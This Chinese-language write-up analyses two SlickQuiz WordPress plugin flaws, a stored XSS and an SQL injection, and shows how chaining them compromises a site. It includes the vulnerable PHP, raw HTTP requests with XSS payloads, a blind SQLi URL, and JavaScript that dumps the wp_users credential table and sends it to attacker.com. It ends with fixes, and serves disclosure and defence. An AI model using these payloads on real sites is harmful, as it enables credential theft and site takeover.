H1-4420: From Quiz to Admin - Chaining Two 0-Days to Compromise An Uber Wordpress
字数 1151 2025-08-26 22:11:51
WordPress插件漏洞分析与利用:SlickQuiz的两个0-day漏洞链式攻击
漏洞概述
本文详细分析WordPress插件SlickQuiz中存在的两个关键漏洞(CVE-2019-12517和CVE-2019-12516),以及如何将它们串联起来实现从未经身份验证到完全接管WordPress站点的攻击链。
漏洞1:CVE-2019-12517 - 存储型XSS
漏洞位置
- 文件:
php/slickquiz-scores.php中的generate_score_row()方法(38-52行) - 受影响参数:
$score->name、$score->email和$score->score
漏洞代码分析
function generate_score_row( $score ) {
$scoreRow = '';
$scoreRow .= '<tr>';
$scoreRow .= '<td class="table_id">' . $score->id . '</td>';
$scoreRow .= '<td class="table_name">' . $score->name . '</td>'; // 未过滤的name
$scoreRow .= '<td class="table_email">' . $score->email . '</td>'; // 未过滤的email
$scoreRow .= '<td class="table_score">' . $score->score . '</td>'; // 未过滤的score
$scoreRow .= '<td class="table_created">' . $score->createdDate . '</td>';
$scoreRow .= '<td class="table_actions">' . $this->get_score_actions( $score->id ) . '</td>';
$scoreRow .= '</tr>';
return $scoreRow;
}
利用方式
通过向admin-ajax.php发送恶意POST请求注入XSS payload:
POST /wordpress/wp-admin/admin-ajax.php?_wpnonce=593d9fff35 HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 165
action=save_quiz_score&json={
"name":"xss<script>alert(1)</script>",
"email":"test@localhost<script>alert(2)</script>",
"score":"<script>alert(3)</script>",
"quiz_id":1
}
触发条件
当管理员查看SlickQuiz仪表盘中的用户分数时,所有payload都会自动执行。
漏洞2:CVE-2019-12516 - 认证后SQL注入
漏洞位置
- 文件:
php/slickquiz-model.php中的get_quiz_by_id()方法(27-35行) - 受影响参数:
$_GET['id']
漏洞代码分析
function get_quiz_by_id( $id ) {
global $wpdb;
$db_name = $wpdb->prefix . 'plugin_slickquiz';
$quizResult = $wpdb->get_row( "SELECT * FROM $db_name WHERE id = $id" ); // 直接拼接SQL
return $quizResult;
}
可利用端点
/wp-admin/admin.php?page=slickquiz-scores&id=[注入点]/wp-admin/admin.php?page=slickquiz-edit&id=[注入点]/wp-admin/admin.php?page=slickquiz-preview&id=[注入点]
利用示例
时间盲注:
/wp-admin/admin.php?page=slickquiz-scores&id=(select*from(select(sleep(5)))a)
漏洞链式利用
攻击步骤
-
利用XSS漏洞注入恶意脚本
let url = 'http://target.com/wp-admin/admin.php?page=slickquiz-scores&id='; let payload = '1337 UNION ALL SELECT NULL,CONCAT(IFNULL(CAST(user_email AS CHAR),0x20),0x3B,IFNULL(CAST(user_login AS CHAR),0x20),0x3B,IFNULL(CAST(user_pass AS CHAR),0x20)),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM wordpress.wp_users--'; let xhr = new XMLHttpRequest(); xhr.withCredentials = true; xhr.onreadystatechange = function() { if (xhr.readyState === XMLHttpRequest.DONE) { let result = xhr.responseText.match(/(?:<h2>SlickQuiz Scores for ")(.*)(?:"<\/h2>)/); // 将结果发送到攻击者控制的服务器 new Image().src = 'http://attacker.com/steal.php?data=' + encodeURIComponent(result[1]); } } xhr.open('GET', url + payload, true); xhr.send(); -
构造最终XSS payload
POST /wordpress/wp-admin/admin-ajax.php HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded; charset=UTF-8 action=save_quiz_score&json={ "name":"exploit", "email":"test@localhost<script src='http://attacker.com/malicious.js'>", "score":"1 / 1", "quiz_id":1 } -
获取管理员凭据
- 当管理员查看分数时,脚本自动执行
- 通过SQL注入获取
user_email、user_login和user_pass(密码哈希) - 将数据外传到攻击者服务器
防御措施
-
针对XSS漏洞
- 对所有用户输入进行HTML实体编码
- 使用
esc_html()或esc_attr()函数处理输出 - 实现内容安全策略(CSP)
-
针对SQL注入
- 使用WordPress提供的
$wpdb->prepare()预处理语句 - 对数字型参数强制类型转换
(int)$id - 实现最小权限原则,限制数据库用户权限
- 使用WordPress提供的
-
通用建议
- 及时更新插件到最新版本
- 限制或移除不再使用的插件
- 实施严格的输入验证和输出编码
总结
这个案例展示了如何通过串联两个看似独立的漏洞(存储型XSS和SQL注入)实现从零权限到完全控制WordPress站点的攻击链。它强调了深度防御的重要性,以及即使需要认证的漏洞也可能通过其他漏洞被利用的风险。